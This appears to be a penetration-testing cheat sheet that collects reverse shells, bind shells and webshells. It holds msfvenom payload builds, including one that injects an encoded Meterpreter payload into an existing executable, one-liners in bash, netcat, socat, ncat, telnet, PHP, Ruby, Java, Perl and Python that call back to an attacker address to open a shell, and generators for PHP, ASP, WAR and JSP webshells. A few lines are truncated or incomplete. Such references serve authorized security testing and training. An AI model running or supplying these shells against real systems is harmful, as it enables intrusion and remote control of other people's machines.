Reverse-shells

This is s great collection of different types of reverse shells and webshells. Many of the ones listed below comes from this cheat-sheet:
https://highon.coffee/blog/reverse-shell-cheat-sheet/

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Msfvenom

There is an important difference between non-staged and staged payload. A **non-staged** shell is sent over in one block. You just send shell in one stage. This can be caught with metasploit multi-handler. But also with netcat.

staged shells send them in turn. This can be useful for when you have very small buffer for your shellcode, so you need to divide up the payload. Meterpreter is a staged shell. First it sends some parts of it and sets up the connection, and then it sends some more. This can be caught with metasploit multi-handler but not with netcat.

Windows

Meterpreter

Standard meterpreter

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -o shell_reverse.exe
```

```
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
```

Meterpreter HTTPS

It makes the meterpreter-traffic look normal. Since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

```
msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.101 LPORT=443 -f exe -o met_https_reverse.exe
```

Non-staged payload

```
msfvenom -p windows/shell_reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o shell_reverse_tcp.exe
```

```
use exploit/multi/handler
set payload windows/shell_reverse_tcp
```

Staged payload

```
msfvenom -p windows/shell/reverse_tcp LHOST=196.168.0.101 LPORT=445 -f exe -o staged_reverse_tcp.exe
```

This must be caught with metasploit. It does not work with netcat.

```
use exploit/multi/handler
set payload windows/shell/reverse_tcp
```

Inject payload into binary

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=445 -f exe -e x86/shikata_ga_nai -i 9 -x "/somebinary.exe" -o
```

Linux

Binary

```
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f elf > shell.elf
```

Bash

```
0<&196;exec 196<>/dev/tcp/192.168.1.101/80; sh <&196 >&196 2>&196
```

```
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
```

Php

```
php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Netcat

Bind shell

```
#Linux
nc -vlp 5555 -e /bin/bash
nc 192.168.1.101 5555

# Windows
nc.exe -nlvp 4444 -e cmd.exe
```

Reverse shell

```
# Linux
nc -lvp 5555
nc 192.168.1.101 5555 -e /bin/bash

# Windows
nc -lvp 443
nc.exe 192.168.1.101 443 -e cmd.exe
```

With -e flag

```
nc -e /bin/sh ATTACKING-IP 80
```

```
/bin/sh | nc ATTACKING-IP 80
```

Without -e flag

```
rm -f /tmp/p; mknod /tmp/p p && nc ATTACKING-IP 4444 0/tmp/p
```

Upgrade Netcat shell to an interactive: https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/

Socat

Listener (Server)

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

Callback (Victim/Client)

```
socat tcp-connect:10.10.10.10:4444 exec:sh,pty,stderr,setsid,sigint,sane
```

Ncat

Ncat is a better and more modern version of netcat. One feature it has that netcat does not have is encryption. If you are on a pentestjob you might not want to communicate unencrypted.

Bind

```
ncat --exec cmd.exe --allow 192.168.1.101 -vnl 5555 --ssl
ncat -v 192.168.1.103 5555 --ssl
```

Telnet

```
rm -f /tmp/p; mknod /tmp/p p && telnet ATTACKING-IP 80 0/tmp/p
```

```
telnet ATTACKING-IP 80 | /bin/bash | telnet ATTACKING-IP 443
```

Perl

```
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_atc
```

Ruby

```
ruby -rsocket -e'f=TCPSocket.open("ATTACKING-IP",80).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
```

Java

```
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()
```

Python

```
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.f
```

Web-shells - Platform Independent

PHP

This php-shell is OS-independent. You can use it on both Linux and Windows.

```
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.php
```

ASP

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=443 -f asp > shell.asp
```

WAR

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f war > shell.war
```

JSP

```
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.101 LPORT=443 -f raw > shell.jsp
```